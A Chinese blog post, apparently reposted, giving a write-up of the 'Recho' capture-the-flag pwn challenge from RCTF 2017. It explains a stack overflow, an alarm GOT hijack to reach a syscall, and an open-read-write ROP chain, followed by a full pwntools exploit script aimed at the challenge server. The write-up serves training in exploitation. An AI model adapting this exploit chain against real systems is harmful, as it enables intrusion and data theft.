Recho
时间:2021-08-16
本文章向大家介绍Recho,主要包括Recho使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
题目来源: XCTF 3rd-RCTF-2017
题目描述:暂无
存在栈溢出,但是因为要是想结束程序到ret处需要结束输入,因此只有一次机会,需要一次排好rop链
alarm函数在alarm+5处有一个syscall,因此可以劫持alarm的got表到alarm+5使之变成一个任意的syscall
程序存在一个自带的字符串"flag",因此考虑orw
open通过syscall进行,read和write程序里都有
结束输入可以用io.shutdown('send')
exp如下:
from pwn import * #io = process('./Recho') io = remote('111.200.241.244', 52297) #context.log_level = 'debug' flag_addr = 0x601058 goal_addr = 0x601100 pop_rax = 0x4006fc add_rdi_rax = 0x40070d pop_rdi = 0x4008a3 pop_rsi_r15 = 0x4008a1 pop_rdx = 0x4006fe write_plt = 0x4005D0 read_plt = 0x400600 alarm_got = 0x601028 alarm_plt = 0x4005F0 io.recvuntil('Welcome to Recho server!\n') payload = b'a' * 56 + p64(pop_rax) + p64(5) payload += p64(pop_rdi) + p64(alarm_got) + p64(add_rdi_rax) payload += p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) payload += p64(pop_rsi_r15) + p64(0) + p64(0) + p64(alarm_plt) payload += p64(pop_rdi) + p64(3) payload += p64(pop_rsi_r15) + p64(goal_addr) + p64(0) payload += p64(pop_rdx) + p64(100) + p64(read_plt) payload += p64(pop_rdi) + p64(1) payload += p64(pop_rsi_r15) + p64(goal_addr) + p64(0) payload += p64(pop_rdx) + p64(100) + p64(write_plt) + b'\n' io.send(str(len(payload))) sleep(0.2) io.send(payload) io.shutdown('send') io.interactive()
原文地址:https://www.cnblogs.com/hktk1643/p/15149805.html
- VMware Fusion 中如何复制centos/linux虚拟机
- 浅谈国外航空发动机大数据应用
- asp.net mvc SelectList 的selected 失效及解决方案
- 类极客公园火箭发射“返回顶部”jQuery效果(WordPress代码教程)
- 利用ganymed-ssh2远程执行其它Linux机器上的shell命令
- 浅析软件开发的3个层次
- MSBUILD 命令行编译的时候请注意msbuild文件名称或路经中空格导致出错
- Python可以用来做什么?
- 使用View Model从表现层分离领域模型
- 代码实现WordPress点击进入随机一篇文章的方法
- UE4新手编程之创建空白关卡和添加碰撞体
- Office Web Apps
- hadoop: hive 1.2.0 在mac机上的安装与配置
- ASP.NET 5运行时升级到Beta5
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 新手入门系列之-React / Vue 应用持续集成Docker 化
- Android 获取进程名函数,如何优化到极致?
- R语言做K均值聚类的一个简单小例子
- 如何自动化Salesforce应用程序
- 2万字带你学习Qos原理,还有6个实验案例,建议一定要收藏!
- 最全总结 | 聊聊 Python 数据处理全家桶(MongoDB 篇)
- R函数
- unstack函数应用——生成单细胞marker基因表格
- 手把手教你使用Python打造一个智能搜索淘宝商品,生成操作日志的系统
- leetcode树之将有序数组转换为二叉搜索树
- Mysql必知必会!
- 【一天一大 lee】路径总和 II (难度:中等) - Day20200926
- 【一天一大 lee】从中序与后序遍历序列构造二叉树 (难度:中等)-Day20200925
- 【一天一大 lee】填充每个节点的下一个右侧节点指针 II (难度:中等) - Day20200928
- 【一天一大 lee】 二叉搜索树中的众数 (难度:简单)-Day20200924